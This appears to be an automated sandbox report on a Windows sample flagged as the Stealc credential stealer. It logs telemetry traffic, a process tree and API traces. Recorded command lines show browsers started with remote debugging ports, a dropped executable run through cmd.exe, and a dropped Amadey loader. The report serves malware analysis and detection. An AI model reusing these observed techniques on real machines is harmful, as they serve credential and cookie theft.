2024-11-22 13:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:07 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134407Z-178bfbc474bnwsh4hC1NYC2ubs0000000350000000007yzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:07 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:07 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 40694bf4-501e-008c-7530-3ccd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134407Z-178bfbc474bq2pr7hC1NYCkfgg0000000380000000005w9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:08 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:07 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:07 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c49a2be7-d01e-005a-3155-3c7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134407Z-15b8b599d88cn5thhC1TEBqxkn00000001c000000000azc9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:08 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49950	20.189.173.7	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:08 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732283045303&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 6109 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-22 13:44:08 UTC	6109	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 31 33 3a 34 34 3a 30 35 2e 33 30 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 30 37 34 35 37 66 30 2d 34 37 33 62 2d 34 30 61 38 2d 39 31 30 62 2d 39 36 35 34 62 63 37 32 31 33 36 62 22 2c 22 65 70 6f 63 68 22 3a 22 34 32 30 39 39 32 33 36 38 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-22T13:44:05.301Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"207457f0-473b-40a8-910b-9654bc72136b","epoch":"4209923680"},"app":{"locale
2024-11-22 13:44:08 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=44dda4bd311e43c2838364b2988e8cea&HASH=44dd&LV=202411&V=4&LU=1732283048602; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 13:44:08 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=6831ee0d66c749d5a0b3b0119ee63939; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 14:14:08 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3299 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 13:44:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49951	20.189.173.7	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:08 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732283045694&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11531 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-22 13:44:08 UTC	11531	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 31 33 3a 34 34 3a 30 35 2e 36 39 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 30 37 34 35 37 66 30 2d 34 37 33 62 2d 34 30 61 38 2d 39 31 30 62 2d 39 36 35 34 62 63 37 32 31 33 36 62 22 2c 22 65 70 6f 63 68 22 3a 22 34 32 30 39 39 32 33 36 38 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-22T13:44:05.693Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"207457f0-473b-40a8-910b-9654bc72136b","epoch":"4209923680"},"app":{"locale
2024-11-22 13:44:09 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7e4fb658f06b4ace971433bbf700399f&HASH=7e4f&LV=202411&V=4&LU=1732283049130; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 13:44:09 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=920be1e7708e46c492c48074ce4d2a41; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 14:14:09 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3436 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 13:44:08 GMT Connection: close

Target ID:	0
Start time:	08:43:17
Start date:	22/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x9b0000
File size:	1'785'344 bytes
MD5 hash:	BC7E15F0D547A97F33B7084EB8BB6E35
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2781502054.000000000171E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2247171846.0000000005250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2778649643.00000000009B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2778649643.0000000000A7C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:43:29
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:43:30
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2160,i,13596938817302941313,5679864875784056474,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:43:40
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:43:40
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2292,i,12221188568326329840,15947637541635957062,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:43:41
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:43:42
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	08:43:46
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6448 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:43:46
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6396 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:43:46
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7132 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:43:46
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7132 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:44:10
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIJEGDBGDBF.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:44:10
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:44:10
Start date:	22/11/2024
Path:	C:\Users\user\DocumentsIJEGDBGDBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIJEGDBGDBF.exe"
Imagebase:	0x350000
File size:	1'881'088 bytes
MD5 hash:	1DAA3A0AA5ED7E06B400A47309BA5003
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2766723506.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2806955478.0000000000351000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:44:12
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x840000
File size:	1'881'088 bytes
MD5 hash:	1DAA3A0AA5ED7E06B400A47309BA5003
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2800446959.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2841327811.0000000000841000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:44:42
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6856 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	08:45:00
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x840000
File size:	1'881'088 bytes
MD5 hash:	1DAA3A0AA5ED7E06B400A47309BA5003
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3482893009.0000000000841000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.3263472437.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	08:45:17
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe"
Imagebase:	0x330000
File size:	4'418'560 bytes
MD5 hash:	B759516B5EE0D73ED0870C1BE43FB479
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9535A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
__aulldiv.LIBCMT ref: 6C9536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C953773
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C95377E
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9537C4
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9537CB
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C953801
__aulldiv.LIBCMT ref: 6C953883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C953902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C953918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C95394C

Strings

